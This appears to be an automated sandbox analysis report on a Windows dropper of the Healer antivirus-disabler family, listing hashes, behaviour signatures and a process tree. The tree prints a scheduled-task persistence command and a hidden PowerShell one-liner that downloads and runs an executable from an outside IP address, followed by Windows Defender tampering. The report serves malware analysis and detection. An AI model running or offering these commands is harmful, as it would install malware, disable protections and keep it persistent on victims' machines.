Analysis

  • max time kernel
    94s
  • max time network
    130s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250217-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-02-2025 22:51

General

  • Target

    3d37e462a2809c12e5c1126ac2b8f2d2d5f5b940f730973920f3e471e5e21032.exe

  • Size

    938KB

  • MD5

    0d9785e60c0a3c69cf5813f12a1b3839

  • SHA1

    c11fbe1fb2023566108ce47e698b1a1483d97f4d

  • SHA256

    3d37e462a2809c12e5c1126ac2b8f2d2d5f5b940f730973920f3e471e5e21032

  • SHA512

    39b102dcfca5042e01bfce8a0e91b56456e9b90ad52fc97cdf2bee6a88d4169e8b791ad15367337e6ee72b1849c6c174d537056ff3c5ff44efd893dbfe111d0b

  • SSDEEP

    24576:ZqDEvCTbMWu7rQYlBQcBiT6rprG8aegl:ZTvC/MTQYxsWR7aeg

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://185.215.113.16/defend/random.exe

Signatures

  • Detects Healer an antivirus disabler dropper 3 IoCs
  • Healer

    Healer an antivirus disabler dropper.

  • Healer family
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
  • Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs
  • Modifies Windows Defender notification settings 3 TTPs 2 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Identifies Wine through registry keys 2 TTPs 1 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

  • Windows security modification 2 TTPs 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3d37e462a2809c12e5c1126ac2b8f2d2d5f5b940f730973920f3e471e5e21032.exe
    "C:\Users\Admin\AppData\Local\Temp\3d37e462a2809c12e5c1126ac2b8f2d2d5f5b940f730973920f3e471e5e21032.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:4496
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn QTwbfmayrO5 /tr "mshta C:\Users\Admin\AppData\Local\Temp\sO8MZDqLZ.hta" /sc minute /mo 25 /ru "Admin" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4356
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn QTwbfmayrO5 /tr "mshta C:\Users\Admin\AppData\Local\Temp\sO8MZDqLZ.hta" /sc minute /mo 25 /ru "Admin" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:5692
    • C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\AppData\Local\Temp\sO8MZDqLZ.hta
      2⤵
      • Checks computer location settings
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4060
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'6ZLUQVWL0PNOG1KXNQE6AUWEQE7WLLBW.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/defend/random.exe',$d);Start-Process $d;
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5212
        • C:\Users\Admin\AppData\Local\Temp6ZLUQVWL0PNOG1KXNQE6AUWEQE7WLLBW.EXE
          "C:\Users\Admin\AppData\Local\Temp6ZLUQVWL0PNOG1KXNQE6AUWEQE7WLLBW.EXE"
          4⤵
          • Modifies Windows Defender DisableAntiSpyware settings
          • Modifies Windows Defender Real-time Protection settings
          • Modifies Windows Defender TamperProtection settings
          • Modifies Windows Defender notification settings
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Windows security modification
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4592

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp6ZLUQVWL0PNOG1KXNQE6AUWEQE7WLLBW.EXE

    Filesize

    1.7MB

    MD5

    f55849efa5c6a2ea4cfe6d5467e7c85d

    SHA1

    a6ce257e4e6c36d3b7bfa203b7168eca537224e8

    SHA256

    a6ee22805ca4eef905f2c7ca3bb38f3e895fd91dcceb63038ed2065c4c18da7b

    SHA512

    866ae7fb82fbbe6d35221d24ac143d6f7ef58483090ef433e0cd1de5251a20d409b898c19d7c53d07e5b08165755a926488344b5f599f2ccc7f35bb9818cdc11

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_s4kr0cxm.xgk.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\sO8MZDqLZ.hta

    Filesize

    726B

    MD5

    79a64c9627ad8cf4ddf1d23771caf48e

    SHA1

    9a1728c7c5eab21ce225eda0853de2f9927c4413

    SHA256

    c79ea7ae509eadeade53395a152d79753359b567b1f5409e2fb88b2a5587839c

    SHA512

    8100f5bfd537b8425a21811da240fdfe617cb6a19eae59ebc3637bbb39bc86b03c739acbb6388b357fbc5938ba9bb39b59af439b730e9a5f0e664ca60746a780

  • memory/4592-44-0x00000000006E0000-0x0000000000B4A000-memory.dmp

    Filesize

    4.4MB

  • memory/4592-41-0x00000000006E0000-0x0000000000B4A000-memory.dmp

    Filesize

    4.4MB

  • memory/4592-39-0x00000000006E0000-0x0000000000B4A000-memory.dmp

    Filesize

    4.4MB

  • memory/4592-38-0x00000000006E0000-0x0000000000B4A000-memory.dmp

    Filesize

    4.4MB

  • memory/4592-35-0x00000000006E0000-0x0000000000B4A000-memory.dmp

    Filesize

    4.4MB

  • memory/5212-5-0x0000000005900000-0x0000000005966000-memory.dmp

    Filesize

    408KB

  • memory/5212-18-0x00000000060B0000-0x00000000060FC000-memory.dmp

    Filesize

    304KB

  • memory/5212-20-0x0000000006540000-0x000000000655A000-memory.dmp

    Filesize

    104KB

  • memory/5212-19-0x0000000007740000-0x0000000007DBA000-memory.dmp

    Filesize

    6.5MB

  • memory/5212-22-0x0000000007560000-0x00000000075F6000-memory.dmp

    Filesize

    600KB

  • memory/5212-23-0x00000000074F0000-0x0000000007512000-memory.dmp

    Filesize

    136KB

  • memory/5212-24-0x0000000008370000-0x0000000008914000-memory.dmp

    Filesize

    5.6MB

  • memory/5212-17-0x0000000006020000-0x000000000603E000-memory.dmp

    Filesize

    120KB

  • memory/5212-16-0x00000000059E0000-0x0000000005D34000-memory.dmp

    Filesize

    3.3MB

  • memory/5212-6-0x0000000005970000-0x00000000059D6000-memory.dmp

    Filesize

    408KB

  • memory/5212-4-0x00000000057A0000-0x00000000057C2000-memory.dmp

    Filesize

    136KB

  • memory/5212-3-0x0000000005170000-0x0000000005798000-memory.dmp

    Filesize

    6.2MB

  • memory/5212-2-0x0000000002A40000-0x0000000002A76000-memory.dmp

    Filesize

    216KB